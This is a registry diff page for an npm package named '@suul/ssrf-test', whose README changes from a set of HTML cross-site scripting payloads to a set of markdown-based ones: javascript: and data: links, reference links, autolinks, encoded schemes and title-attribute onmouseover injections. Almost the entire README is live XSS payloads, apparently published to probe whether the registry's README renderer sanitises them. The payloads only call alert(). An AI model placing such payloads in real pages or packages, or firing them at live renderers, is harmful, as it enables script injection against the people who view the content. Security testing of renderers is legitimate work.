@suul/ssrf-test 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +21 -17
  2. package/package.json +2 -2
package/README.md CHANGED
@@ -1,23 +1,27 @@
1
- # XSS Research
1
+ # XSS Tests via Markdown Syntax
2
2
 
3
- ## Test: img src=javascript
4
- <img src="javascript:alert(document.domain)">
3
+ ## Test 1: Standard markdown link with javascript:
4
+ [XSS Click Me](javascript:alert(document.domain))
5
5
 
6
- ## Test: img src=data URI
7
- <img src="data:text/html,<script>alert(1)</script>">
6
+ ## Test 2: Reference-style markdown link
7
+ [XSS Ref][xss]
8
8
 
9
- ## Test: img src with URL scheme tricks
10
- <img src="JAVASCRIPT:alert(1)">
11
- <img src="Java&#x73;cript:alert(1)">
9
+ [xss]: javascript:alert(document.domain)
12
10
 
13
- ## Test: a href variants
14
- <a href="JaVaScRiPt:alert(1)">click</a>
15
- <a href="&#106;avascript:alert(1)">click2</a>
16
- <a href="javascript&colon;alert(1)">click3</a>
11
+ ## Test 3: Autolink
12
+ <javascript:alert(1)>
17
13
 
18
- ## Test: SVG with multiple techniques
19
- <svg><script>alert(1)</script></svg>
20
- <svg><use href="javascript:alert(1)"></use></svg>
14
+ ## Test 4: image with javascript
15
+ ![alt](javascript:alert(1))
21
16
 
22
- ## Test: details/summary
23
- <details ontoggle="alert(1)"><summary>click</summary></details>
17
+ ## Test 5: Markdown link with data:
18
+ [data xss](data:text/html,<script>alert(1)</script>)
19
+
20
+ ## Test 6: URL encoding in markdown link
21
+ [enc](javascript&#58;alert(1))
22
+
23
+ ## Test 7: Markdown link with \\n injection
24
+ [text](https://x.com "onmouseover=alert(1) x=")
25
+
26
+ ## Test 8: title attr injection via markdown
27
+ [text](https://npmjs.com " onmouseover=alert(document.domain) ")
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.3",
4
- "description": "XSS research",
3
+ "version": "1.0.5",
4
+ "description": "Markdown XSS tests",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
7
7
  "publishConfig": {"access": "public"}